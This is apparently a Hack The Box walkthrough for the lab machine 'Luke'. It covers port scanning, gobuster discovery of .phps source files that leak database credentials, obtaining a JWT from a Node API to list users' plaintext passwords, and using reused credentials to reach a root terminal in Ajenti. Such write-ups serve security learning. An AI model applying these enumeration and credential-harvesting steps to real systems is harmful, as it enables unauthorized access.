Luke - Hack The Box
Luke is a easy machine that doesn’t have a lot steps but we still learn a few things about REST APIs like how to authenticate to the service and get a JWT token and which headers are required when using that JWT. The rest of the box was pretty straighforward with some gobuster enumeration, finding PHP sources files with credentials then finally getting a shell through the Ajenti application.
Summary
- On the FTP, there’s a hint saying we need to get the source file for the web application
- By using the
.phps
file extension we can get the config web application and some credentials - The credentials are used to authenticate to the API app on port 3000
- With the API we can list the users and their plaintext passwords
- The
/management
URI is protected with basic HTTP auth and we can log in with one of the user found with the API - We then get the root password from the
config.json
file - We can then log in as root on the Ajenti admin panel, then spawn a terminal window and retrieve the flags
Portscan
# nmap -p- 10.10.10.137
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 16:39 EDT
Nmap scan report for luke.htb (10.10.10.137)
Host is up (0.021s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
8000/tcp open http-alt
FTP enumeration
Anonymous FTP access is enabled there’s a file I can download: for_Chihiro.txt
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-r-xr-xr-x 1 0 0 306 Apr 14 12:37 for_Chihiro.txt
226 Directory send OK.
ftp> get for_Chihiro.txt
local: for_Chihiro.txt remote: for_Chihiro.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for for_Chihiro.txt (306 bytes).
226 Transfer complete.
306 bytes received in 0.00 secs (809.8323 kB/s)
The file contains contains a hint regarding source files for the website application.
As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !
Derry
Website enumeration
The site running on port 80 is just a generic site with no dynamic content that I can see.
While running gobuster I find a couple of interesting directories:
# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -s 200,204,301,302,307,401,403 -t 25 -x php -u http://10.10.10.137
/LICENSE (Status: 200)
/config.php (Status: 200)
/css (Status: 301)
/js (Status: 301)
/login.php (Status: 200)
/management (Status: 401)
/member (Status: 301)
/vendor (Status: 301)
=====================================================
2019/05/26 16:38:20 Finished
=====================================================
/management
uses HTTP basic authentication and I don’t have the password yet. I’ll keep that in mind and come back to it later when I find the credentials.
/login.php
shows a login page for some PHP web application.
I tried a few sets of credentials and I wasn’t able to log in. A quick run with SQLmap didn’t reveal any easy SQL injection point either.
The hint from the FTP file talked about source files so I did another gobuster pass using .phps
as the extension since I knew the application was running on PHP based on the login.php
file found. The .phps
extension can be used to produce a color formatted output of the PHP source code without actually interpreting it. It’s definitely not something you want to leave on your production webservers especially if it contains credentials.
# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -s 200,204,301,302,307,401,403 -t 25 -x phps -u http://10.10.10.137
/config.phps (Status: 200)
/login.phps (Status: 200)
Allright, I found a couple of files and I see that the config.phps
contains the root credentials for MySQL
$dbHost = 'localhost';
$dbUsername = 'root';
$dbPassword = 'Zk6heYCyv6ZE9Xcg';
$db = "login";
$conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);
The login.phps
file shows that the web application is incomplete: it doesn’t really do anything when you log in except set the session cookie. This probably means that I was just meant to find the password from the config.phps
file and that I can ignore the login page.
NodeJS app
The application running on port 3000 expects a JWT token in the Authorization header.
I dirbursted the site to find API endpoints and found the following:
# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -s 200,204,301,302,307,401,403 -t 25 -u http://10.10.10.137:3000
/Login (Status: 200)
/login (Status: 200)
/users (Status: 200)
=====================================================
2019/05/26 16:41:55 Finished
=====================================================
I can’t reach /users
because it expects an authorization header:
{"success":false,"message":"Auth token is not supplied"}
But I can log in and get a token with the following POST request;
curl -XPOST http://10.10.10.137:3000/login -H 'Content-Type: application/json' -d '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}'
I get a JWT token back after logging in:
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU4ODg5NzM0LCJleHAiOjE1NTg5NzYxMzR9.hW8fCbdZ2S9L691y_OG5Kr0Bt2598JYjDlqLVrcOlj4"}
To authenticate, I add the following header to the GET request on /
and /users
:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU4ODg5NzM0LCJleHAiOjE1NTg5NzYxMzR9.hW8fCbdZ2S9L691y_OG5Kr0Bt2598JYjDlqLVrcOlj4
On GET /
, I now get {"message":"Welcome admin ! "}
GET /users
shows a list of users:
curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY4NDE3NjA1LCJleHAiOjE1Njg1MDQwMDV9.MXxjA5devINORQHlkRL17JH96uWO1VJIZMKZSDdf--U' http://10.10.10.137:3000/users
[{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},{"ID":"4","name":"Dory","Role":"Supporter"}]
I can query each individual user with GET /users/<username>
and it returns their password:
{"name":"Admin","password":"WX5b7)>/rp$U)FW"}
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}
{"name":"Yuri","password":"bet@tester87"}
{"name":"Dory","password":"5y:!xa=ybfe)/QD"}
Management page
I tried those credentials and found that I can log into the /management
page with Derry
(username is case sensitive)
config.php
and login.php
contain the source we already have but config.json
contains another set of credentials:
Password: KpMasng6S5EtTy9Z
I tried logging in as root by SSH but I wasn’t able to.
Ajenti
I have one port left to check on the system. The Ajenti server admin panel runs on port 8000
I can log in with root
and KpMasng6S5EtTy9Z
.
Using the Terminal menu under Tools, I can get a shell and since I’m already running as root I can grab both flags.